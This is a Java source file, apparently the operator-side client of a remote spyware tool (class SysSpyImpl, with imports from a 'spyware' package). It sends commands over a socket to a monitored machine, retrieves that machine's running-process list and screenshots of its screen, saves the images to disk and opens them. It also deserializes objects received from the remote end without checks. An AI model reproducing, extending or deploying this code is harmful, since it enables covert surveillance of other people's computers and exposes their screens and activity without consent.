package request;

import java.awt.Desktop;
import java.awt.GraphicsDevice;
import java.awt.GraphicsEnvironment;
import java.awt.Point;
import java.awt.image.BufferedImage;
import java.io.BufferedReader;
import java.io.File;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.ObjectInputStream;
import java.io.OutputStream;
import java.io.PrintWriter;
import java.util.ArrayList;

import javax.imageio.ImageIO;

import osutil.SerBuffImage;

import spyware.TaskManager;

/**
 * Implements the main functionality used for communication
 * @author macitu
 *
 */
public class SysSpyImpl implements SysSpy{
    private InputStream input;
    private OutputStream out;
    
	/**
	 * @param input - communication stream receiver //from server
	 * @param out - communication stream sender //to server
	 */
	public SysSpyImpl(InputStream input, OutputStream out) {
		super();
		this.input = input;
		this.out = out;
	}

	@Override
	/**
	 * Gets running process on server and displays them in TaskManager 
	 */
	public void getProcceses() {
		try {
			PrintWriter writer = new PrintWriter(out , true);
			//sends command to server
			writer.println(Commands.GET_RUNNING_PROCESSES);		
			ObjectInputStream oin = new ObjectInputStream(input);
			try {
				ArrayList<String> list = (ArrayList<String>)oin.readObject();
				TaskManager task = new TaskManager(list);
			    GraphicsDevice dev = GraphicsEnvironment.getLocalGraphicsEnvironment().getDefaultScreenDevice();
			    int height = dev.getDisplayMode().getHeight();
			    int width = dev.getDisplayMode().getWidth();
				task.setLocation(new Point(width/2-200, height/2-150));
				task.setVisible(true);
			} catch (ClassNotFoundException e) {
				// TODO Auto-generated catch block
				e.printStackTrace();
			}
		} catch (IOException e) {
			e.printStackTrace();
		}
	}

	@Override
	/**
	 * Takes/Receives screenshot from server and opens it with default program 
	 */
	public void getScreenShot() {
		PrintWriter writer = new PrintWriter(out , true);
		//sends command to server
		writer.println(Commands.GET_SCREENSHOT);
		try {
			ObjectInputStream oin = new ObjectInputStream(input);
			SerBuffImage sbi = (SerBuffImage)oin.readObject();
			BufferedImage screenShot = sbi.getImage();//(BufferedImage)oin.readObject();
			//setting name
			String fileName = "screenShot" + System.nanoTime() + ".jpg";
			//creating file
			File imgFile = new File(fileName);
			//writing in file
			ImageIO.write(screenShot, "JPG", imgFile);
			//open image
			Desktop.getDesktop().open(imgFile);
		} catch (IOException e) {
			// TODO Auto-generated catch block
			e.printStackTrace();
		} catch (Exception e) {
			// TODO Auto-generated catch block
			e.printStackTrace();
		}
			
		 
	}

	@Override
	public boolean ping() {
		PrintWriter writer = new PrintWriter(out , true);
		writer.println(Commands.PING);		
		BufferedReader buff = new BufferedReader(new InputStreamReader(input));
        if(buff != null)
			try {
				if(buff.readLine().equals("success"))
					return true;
			} catch (IOException e) {
				e.printStackTrace();
			}
		return false;
	}

	@Override
	public boolean exit() {
		PrintWriter writer = new PrintWriter(out , true);
		writer.println(Commands.EXIT);
		writer.close();
		try{
			out.close();
			input.close();
			return true;
		} catch(Exception ex){			
		}
		return false;
	}

}
